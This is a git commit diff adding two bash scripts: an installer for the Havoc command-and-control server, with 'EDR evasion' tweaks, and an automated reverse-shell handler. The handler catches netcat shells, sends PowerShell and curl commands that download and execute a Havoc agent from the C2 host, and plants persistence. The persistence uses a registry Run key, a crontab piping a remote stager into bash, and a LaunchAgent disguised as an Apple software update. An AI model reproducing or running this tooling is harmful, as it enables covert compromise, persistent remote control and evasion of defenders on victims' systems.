Switching to Havoc C2
This commit is contained in:
@@ -0,0 +1,224 @@
|
||||
#!/bin/bash
|
||||
# Havoc C2 Framework installer with EDR evasion features
|
||||
|
||||
set -e
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
LOG_FILE="/root/Tools/havoc_installer.log"
|
||||
HAVOC_DIR="/root/Tools/havoc"
|
||||
HAVOC_DATA_DIR="/root/Tools/havoc/data"
|
||||
HAVOC_VERSION="0.5.0"
|
||||
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc"
|
||||
GO_VERSION="1.19"
|
||||
|
||||
# Function to log messages
|
||||
log() {
|
||||
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
|
||||
}
|
||||
|
||||
# Function to generate random strings
|
||||
random_string() {
|
||||
local length=${1:-8}
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
||||
}
|
||||
|
||||
# Install required dependencies
|
||||
log "Installing dependencies..."
|
||||
apt-get update >/dev/null 2>&1
|
||||
apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \
|
||||
ninja-build python3-pip libfontconfig1 libglu1-mesa-dev libgtest-dev \
|
||||
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
|
||||
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \
|
||||
qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
|
||||
libqt5websockets5-dev >/dev/null 2>&1
|
||||
|
||||
# Setup Go environment
|
||||
log "Setting up Go environment..."
|
||||
mkdir -p /root/go
|
||||
export GOPATH=/root/go
|
||||
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
|
||||
|
||||
# Clone Havoc repository
|
||||
log "Cloning Havoc repository..."
|
||||
if [ -d "$HAVOC_DIR" ]; then
|
||||
log "Havoc directory already exists, updating..."
|
||||
cd $HAVOC_DIR
|
||||
git pull
|
||||
else
|
||||
git clone --quiet $HAVOC_GITHUB $HAVOC_DIR
|
||||
cd $HAVOC_DIR
|
||||
fi
|
||||
|
||||
# Generate unique identifiers for EDR evasion
|
||||
RANDOMIZED_BUILD_ID=$(random_string 16)
|
||||
log "Using randomized build ID: $RANDOMIZED_BUILD_ID"
|
||||
|
||||
# Build Havoc teamserver
|
||||
log "Building Havoc teamserver..."
|
||||
cd $HAVOC_DIR/Teamserver
|
||||
go mod download
|
||||
sed -i "s/const Version = \".*\"/const Version = \"${HAVOC_VERSION}-${RANDOMIZED_BUILD_ID}\"/" pkg/common/metadata.go
|
||||
make
|
||||
|
||||
# Build Havoc client
|
||||
log "Building Havoc client..."
|
||||
cd $HAVOC_DIR/Client
|
||||
mkdir -p build
|
||||
cd build
|
||||
cmake -GNinja ..
|
||||
ninja
|
||||
|
||||
# Generate self-signed SSL certificates for Teamserver
|
||||
mkdir -p $HAVOC_DATA_DIR/certs
|
||||
cd $HAVOC_DATA_DIR/certs
|
||||
|
||||
if [ ! -f havoc.key ] || [ ! -f havoc.crt ]; then
|
||||
log "Generating self-signed SSL certificates..."
|
||||
|
||||
# Generate random values for certificate
|
||||
COUNTRY="US"
|
||||
STATE=$(random_string 8)
|
||||
LOCALITY=$(random_string 8)
|
||||
ORGANIZATION=$(random_string 10)
|
||||
COMMON_NAME=$(random_string 12).com
|
||||
|
||||
# Create OpenSSL config
|
||||
cat > openssl.cnf << EOF
|
||||
[req]
|
||||
distinguished_name = req_distinguished_name
|
||||
x509_extensions = v3_req
|
||||
prompt = no
|
||||
|
||||
[req_distinguished_name]
|
||||
C = $COUNTRY
|
||||
ST = $STATE
|
||||
L = $LOCALITY
|
||||
O = $ORGANIZATION
|
||||
CN = $COMMON_NAME
|
||||
|
||||
[v3_req]
|
||||
keyUsage = critical, digitalSignature, keyAgreement
|
||||
extendedKeyUsage = serverAuth
|
||||
subjectAltName = @alt_names
|
||||
|
||||
[alt_names]
|
||||
DNS.1 = $COMMON_NAME
|
||||
DNS.2 = localhost
|
||||
EOF
|
||||
|
||||
# Generate certificate
|
||||
openssl req -x509 -newkey rsa:4096 -keyout havoc.key -out havoc.crt -days 3650 -nodes -config openssl.cnf
|
||||
chmod 600 havoc.key
|
||||
chmod 644 havoc.crt
|
||||
|
||||
log "Generated SSL certificates with CN=$COMMON_NAME"
|
||||
fi
|
||||
|
||||
# Create systemd service for Havoc Teamserver
|
||||
log "Creating systemd service for Havoc Teamserver..."
|
||||
cat > /etc/systemd/system/havoc.service << EOF
|
||||
[Unit]
|
||||
Description=Havoc C2 Teamserver
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
WorkingDirectory=$HAVOC_DIR/Teamserver
|
||||
ExecStart=$HAVOC_DIR/Teamserver/teamserver server --profile $HAVOC_DATA_DIR/profiles/default.yaotl
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security measures
|
||||
PrivateTmp=true
|
||||
ProtectHome=false
|
||||
NoNewPrivileges=true
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
# Create default Havoc profile directory
|
||||
mkdir -p $HAVOC_DATA_DIR/profiles
|
||||
|
||||
# Create default Havoc profile
|
||||
log "Creating default Havoc profile..."
|
||||
cat > $HAVOC_DATA_DIR/profiles/default.yaotl << EOF
|
||||
Teamserver {
|
||||
Host = "0.0.0.0"
|
||||
Port = 40056
|
||||
|
||||
Build {
|
||||
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
|
||||
Nasm = "/usr/bin/nasm"
|
||||
}
|
||||
}
|
||||
|
||||
Operators {
|
||||
admin {
|
||||
Password = "$(random_string 12)"
|
||||
}
|
||||
}
|
||||
|
||||
Listeners {
|
||||
http {
|
||||
Name = "http"
|
||||
KillDate = "2030-01-01"
|
||||
WorkingHours = "0:00-23:59"
|
||||
Hosts = ["0.0.0.0"]
|
||||
HostBind = "0.0.0.0"
|
||||
HostRotation = "round-robin"
|
||||
Port = 8080
|
||||
PortBind = 8080
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||
Headers = ["Accept: */*"]
|
||||
Uris = ["/api/v1", "/dashboard"]
|
||||
Secure = false
|
||||
}
|
||||
|
||||
https {
|
||||
Name = "https"
|
||||
KillDate = "2030-01-01"
|
||||
WorkingHours = "0:00-23:59"
|
||||
Hosts = ["0.0.0.0"]
|
||||
HostBind = "0.0.0.0"
|
||||
HostRotation = "round-robin"
|
||||
Port = 443
|
||||
PortBind = 443
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||
Headers = ["Accept: */*"]
|
||||
Uris = ["/api/v2", "/content"]
|
||||
Secure = true
|
||||
Cert = "$HAVOC_DATA_DIR/certs/havoc.crt"
|
||||
Key = "$HAVOC_DATA_DIR/certs/havoc.key"
|
||||
}
|
||||
}
|
||||
|
||||
Demon {
|
||||
Sleep = 2
|
||||
SleepJitter = 50
|
||||
|
||||
Injection {
|
||||
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
|
||||
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Set proper permissions
|
||||
log "Setting proper permissions..."
|
||||
chmod 755 $HAVOC_DIR/Teamserver/teamserver
|
||||
chmod 755 $HAVOC_DIR/Client/havoc
|
||||
|
||||
# Create symlinks to executables in /usr/local/bin
|
||||
ln -sf $HAVOC_DIR/Teamserver/teamserver /usr/local/bin/havoc-teamserver
|
||||
ln -sf $HAVOC_DIR/Client/havoc /usr/local/bin/havoc-client
|
||||
|
||||
# Enable and start Havoc service
|
||||
log "Enabling and starting Havoc service..."
|
||||
systemctl daemon-reload
|
||||
systemctl enable havoc
|
||||
systemctl start havoc
|
||||
|
||||
log "Havoc C2 installation completed!"
|
||||
@@ -0,0 +1,218 @@
|
||||
#!/bin/bash
|
||||
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
|
||||
|
||||
# Configuration
|
||||
LISTEN_PORT=4444
|
||||
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||
HAVOC_PORT=40056 # Havoc default Teamserver port
|
||||
HAVOC_USER="admin"
|
||||
HAVOC_DIR="/root/Tools/havoc"
|
||||
WINDOWS_PAYLOAD="windows/agent_win.exe"
|
||||
LINUX_PAYLOAD="linux/agent_linux"
|
||||
|
||||
# Set secure permissions
|
||||
umask 077
|
||||
|
||||
# Logging function (minimal and encrypted)
|
||||
log() {
|
||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||
local message="$1"
|
||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
|
||||
}
|
||||
|
||||
# Detect OS function
|
||||
detect_os() {
|
||||
local connection=$1
|
||||
|
||||
# Send commands to determine OS
|
||||
echo "echo \$OSTYPE" > $connection
|
||||
sleep 1
|
||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||
|
||||
if [[ $ostype == *"win"* ]]; then
|
||||
echo "windows"
|
||||
elif [[ $ostype == *"darwin"* ]]; then
|
||||
echo "macos"
|
||||
elif [[ $ostype == *"linux"* ]]; then
|
||||
echo "linux"
|
||||
else
|
||||
# Try Windows-specific command
|
||||
echo "ver" > $connection
|
||||
sleep 1
|
||||
winver=$(cat $connection | grep -i "microsoft windows")
|
||||
|
||||
if [[ -n "$winver" ]]; then
|
||||
echo "windows"
|
||||
else
|
||||
# Default to Linux if we can't determine
|
||||
echo "linux"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# Get Havoc password
|
||||
get_havoc_password() {
|
||||
# Extract password from Havoc profile
|
||||
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
|
||||
echo $HAVOC_PASS
|
||||
}
|
||||
|
||||
# Deploy appropriate Havoc agent based on OS
|
||||
deploy_agent() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Deploying Havoc agent for detected OS: $os_type"
|
||||
|
||||
# Get the latest payload paths from manifest
|
||||
local manifest="/root/Tools/havoc/payloads/manifest.json"
|
||||
if [ -f "$manifest" ]; then
|
||||
if [ "$os_type" == "windows" ]; then
|
||||
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
|
||||
PAYLOAD_PATH="/root/Tools/havoc/payloads/windows/$WIN_EXE"
|
||||
elif [ "$os_type" == "linux" ]; then
|
||||
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
|
||||
PAYLOAD_PATH="/root/Tools/havoc/payloads/linux/$LINUX_BIN"
|
||||
fi
|
||||
else
|
||||
# Use default paths if manifest doesn't exist
|
||||
if [ "$os_type" == "windows" ]; then
|
||||
PAYLOAD_PATH="/root/Tools/havoc/payloads/windows/agent_win.exe"
|
||||
elif [ "$os_type" == "linux" ]; then
|
||||
PAYLOAD_PATH="/root/Tools/havoc/payloads/linux/agent_linux"
|
||||
fi
|
||||
fi
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Setup Python HTTP server for payload delivery
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use PowerShell to download and execute
|
||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
linux)
|
||||
# Setup Python HTTP server for payload delivery
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||
chmod +x /tmp/havoc_payloads/update
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use curl to download and execute
|
||||
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
macos)
|
||||
# For macOS, we'll attempt to use the Linux payload
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||
chmod +x /tmp/havoc_payloads/update
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use curl to download and execute
|
||||
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Havoc agent deployment command sent"
|
||||
}
|
||||
|
||||
# Establish persistence based on OS
|
||||
establish_persistence() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Attempting to establish persistence on $os_type"
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Windows persistence via registry run key
|
||||
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
||||
;;
|
||||
linux)
|
||||
# Linux persistence via crontab
|
||||
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
|
||||
;;
|
||||
macos)
|
||||
# macOS persistence via launch agent
|
||||
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
||||
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Persistence commands sent for $os_type"
|
||||
}
|
||||
|
||||
# Main shell handler loop
|
||||
handle_connections() {
|
||||
log "Shell handler started on port $LISTEN_PORT"
|
||||
|
||||
# Use mkfifo for bidirectional communication
|
||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||
trap 'rm -f $PIPE_PATH' EXIT
|
||||
|
||||
while true; do
|
||||
# Clean up existing pipe
|
||||
rm -f $PIPE_PATH
|
||||
mkfifo $PIPE_PATH
|
||||
|
||||
log "Waiting for incoming connection..."
|
||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||
NC_PID=$!
|
||||
|
||||
# Wait for connection to be established
|
||||
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
||||
sleep 1
|
||||
# Check if nc is still running
|
||||
if ! kill -0 $NC_PID 2>/dev/null; then
|
||||
log "Netcat process died, restarting..."
|
||||
rm -f $PIPE_PATH $PIPE_PATH.output
|
||||
continue 2 # Restart the outer loop
|
||||
fi
|
||||
done
|
||||
|
||||
log "Connection received, detecting OS..."
|
||||
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
||||
log "Detected OS: $DETECTED_OS"
|
||||
|
||||
# Deploy Havoc agent
|
||||
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Establish persistence
|
||||
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Keep connection alive for manual operation if needed
|
||||
log "Havoc agent deployed, maintaining shell connection..."
|
||||
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
|
||||
|
||||
# Wait for connection to close
|
||||
wait $NC_PID
|
||||
log "Connection closed, cleaning up and restarting listener..."
|
||||
rm -f $PIPE_PATH.output
|
||||
done
|
||||
}
|
||||
|
||||
# Start the shell handler
|
||||
handle_connections
|
||||
Reference in New Issue
Block a user